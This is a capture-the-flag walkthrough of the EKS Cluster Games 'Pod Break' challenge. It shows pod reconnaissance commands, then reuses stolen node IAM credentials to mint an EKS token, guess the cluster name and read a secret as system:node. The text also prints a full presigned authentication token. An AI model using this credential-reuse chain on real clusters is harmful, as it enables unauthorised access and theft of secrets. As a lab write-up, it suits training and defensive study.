EKS Cluster Games 2023 - Challenge 4

Challenge #2: Pod Break

Scenario

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

Walkthrough

This challenge is about breaking out of a pod in an EKS cluster. After performing reconnaissance against the pod, we find out that the pod is pretty much locked down:

Current credential - system:serviceaccount:challenge4:service-account-challenge4 has no permissions at all, which means we can’t leverage K8s REST API to achieve pod breakout.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
                                                [/.well-known/openid-configuration]   []                 [get]
                                                [/api/*]                              []                 [get]
                                                [/api]                                []                 [get]
                                                [/apis/*]                             []                 [get]
                                                [/apis]                               []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/livez]                              []                 [get]
                                                [/livez]                              []                 [get]
                                                [/openapi/*]                          []                 [get]
                                                [/openapi]                            []                 [get]
                                                [/openid/v1/jwks]                     []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version]                            []                 [get]
                                                [/version]                            []                 [get]
podsecuritypolicies.policy                      []                                    [eks.privileged]   [use]

There isn’t a host path we can leverage on.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
root@wiz-eks-challenge:~# mount
/dev/nvme0n1p1 on / type xfs (ro,noatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/nvme0n1p1 on /home/user type xfs (rw,noatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/nvme0n1p1 on /tmp type xfs (rw,noatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
overlay on /var/run/secrets/kubernetes.io/serviceaccount/token type overlay (ro,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/43/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/work)
overlay on /var/run/secrets/kubernetes.io/serviceaccount/namespace type overlay (ro,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/43/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/work)
overlay on /var/run/secrets/kubernetes.io/serviceaccount/ca.crt type overlay (ro,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/43/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/74/work)
tmpfs on /dev/null type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /dev/urandom type tmpfs (rw,nosuid,size=65536k,mode=755)
none on /proc type proc (ro,relatime)
root@wiz-eks-challenge:~# df
Filesystem     1K-blocks    Used Available Use% Mounted on
/dev/nvme0n1p1 314560492 9352592 305207900   3% /
overlay        314560492 9352592 305207900   3% /var/run/secrets/kubernetes.io/serviceaccount/token
tmpfs              65536       0     65536   0% /dev/null

This pod is running as root. However it is not assigned with any Linux capabilities that we can use to break out of the pod

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@wiz-eks-challenge:~# grep -E  '(Uid|CoreDumping|Seccomp|NoNewPrivs|Cap[A-Za-z]+):' /proc/self/status
Uid:    0       0       0       0
CoreDumping:    0
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000000000000000
CapAmb: 0000000000000000
NoNewPrivs:     1
Seccomp:        0

Furthermore, there isn’t anything useful in the pod we can use to gain access to the EKS Node’s service account.

Remember we acquired an EC2 instance IAM credential in the Challenge #3? The IAM role is assigned to the EKS node where the compromised pod is running on. On a default EKS deployment, the node’s IAM token has the associated system:node role on the cluster. Since we already had the IAM credential, we could potentially gain access to the EKS node’s service account.

First, we can generate the node’s token for authentication to the EKS cluster by using the following commands. Please note that the cluster’s name can be found in kubeconfig. The sed command is especially important as it removes the double-quotes character from the start and and end of the string to ensure the format of the token is valid.

1
2
3
root@wiz-eks-challenge:~# aws eks get-token --cluster-name localcfg | jq .status.token | sed 's/\"//g'
k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1ZVFlWQUpHWSUyRjIwMjMxMTAzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzExMDNUMDgxMTAzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFQmdhREdVV3YlMkYlMkZMVWhGQmg3Um9BaUszQVlJcmcxeWRCZnMlMkZFYUFYUVNUTFZjUmlkYnlIbHY1SkJpRUlzYXV3SUFWMVlJejRwTHZFdzZrN1VpWWQxYmo4bXdwNkR3QWtBV1llMmN6U04lMkJGWDdQZVdkWkNyV0dNOCUyRiUyRlgzQVRZWFl5c29SdThqQ0RXT2gwY3h2anolMkJkUGxCYUw3OHBtZ3V0RmlibWFmJTJGZHNGU3IzN2VYYTJFTzU1d1ZzbDVOQkNDOXNkRVNBRk5aRkFOTEVDaW5FVHFreEZMMXhHdCUyRkREUDJ1JTJGZXdURFIzOFEzdlF1Qzd2TVlCOFl1MEVrckgybW9JQ24lMkJUM0czOHdoN2l5alpycEtxQmpJdEprZHowRiUyRiUyQkRVcnBOSGxxaGR1emsxJTJCQ2pCUXJLS2h5TTJGJTJCeW54OUdKZVNzenhWM0dUVm1TeHhteW5wJlgtQW16LVNpZ25hdHVyZT1hMThmOWM3M2YxZjg0OTI4M2VlMzBkMmFkNTRiZmY3YjA2NDFjZDE0NmVlNWIyMjQ5NzVmMTVjZjk4YWRjZjUz
root@wiz-eks-challenge:~# export TOKEN=k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1ZVFlWQUpHWSUyRjIwMjMxMTAzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzExMDNUMDgxMTAzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFQmdhREdVV3YlMkYlMkZMVWhGQmg3Um9BaUszQVlJcmcxeWRCZnMlMkZFYUFYUVNUTFZjUmlkYnlIbHY1SkJpRUlzYXV3SUFWMVlJejRwTHZFdzZrN1VpWWQxYmo4bXdwNkR3QWtBV1llMmN6U04lMkJGWDdQZVdkWkNyV0dNOCUyRiUyRlgzQVRZWFl5c29SdThqQ0RXT2gwY3h2anolMkJkUGxCYUw3OHBtZ3V0RmlibWFmJTJGZHNGU3IzN2VYYTJFTzU1d1ZzbDVOQkNDOXNkRVNBRk5aRkFOTEVDaW5FVHFreEZMMXhHdCUyRkREUDJ1JTJGZXdURFIzOFEzdlF1Qzd2TVlCOFl1MEVrckgybW9JQ24lMkJUM0czOHdoN2l5alpycEtxQmpJdEprZHowRiUyRiUyQkRVcnBOSGxxaGR1emsxJTJCQ2pCUXJLS2h5TTJGJTJCeW54OUdKZVNzenhWM0dUVm1TeHhteW5wJlgtQW16LVNpZ25hdHVyZT1hMThmOWM3M2YxZjg0OTI4M2VlMzBkMmFkNTRiZmY3YjA2NDFjZDE0NmVlNWIyMjQ5NzVmMTVjZjk4YWRjZjUz

Let’s see if the token is working by checking the identity in cluster

1
2
root@wiz-eks-challenge:~# kubectl-whoami --token=$TOKEN
Error: Unauthorized

Oh, what? The generated token was not authorised to access the cluster resources. The format of the token should be correct, so it is only left with one possibility whereby the cluster’s name is wrong, which means the EKS node IAM role is associated with system:node role of another cluster. The Node’s IAM role is arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282. We can make a guess on the cluster’s name based off the IAM role. After a few guesses, the correct cluster’s name was found:

1
2
3
root@wiz-eks-challenge:~# export TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq .status.token | sed 's/\"//g')
root@wiz-eks-challenge:~# kubectl-whoami --token=$TOKEN
system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal

Yay! We successfully gained access to the EKS node’s service account. Now let’s look for the flag for this challenge.

1
2
3
4
5
root@wiz-eks-challenge:~# kubectl --token=$TOKEN get secrets
NAME        TYPE     DATA   AGE
node-flag   Opaque   1      44h
root@wiz-eks-challenge:~# kubectl --token=$TOKEN get secrets node-flag -ojsonpath='{.data.flag}' | base64 -d
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

In a managed cluster environment, pod breakout can potentially lead to privilege escalation such as gaining access to the EC2 IAM credential and leverage it to obtain a privileged service account.

Let’s proceed to the next challenge.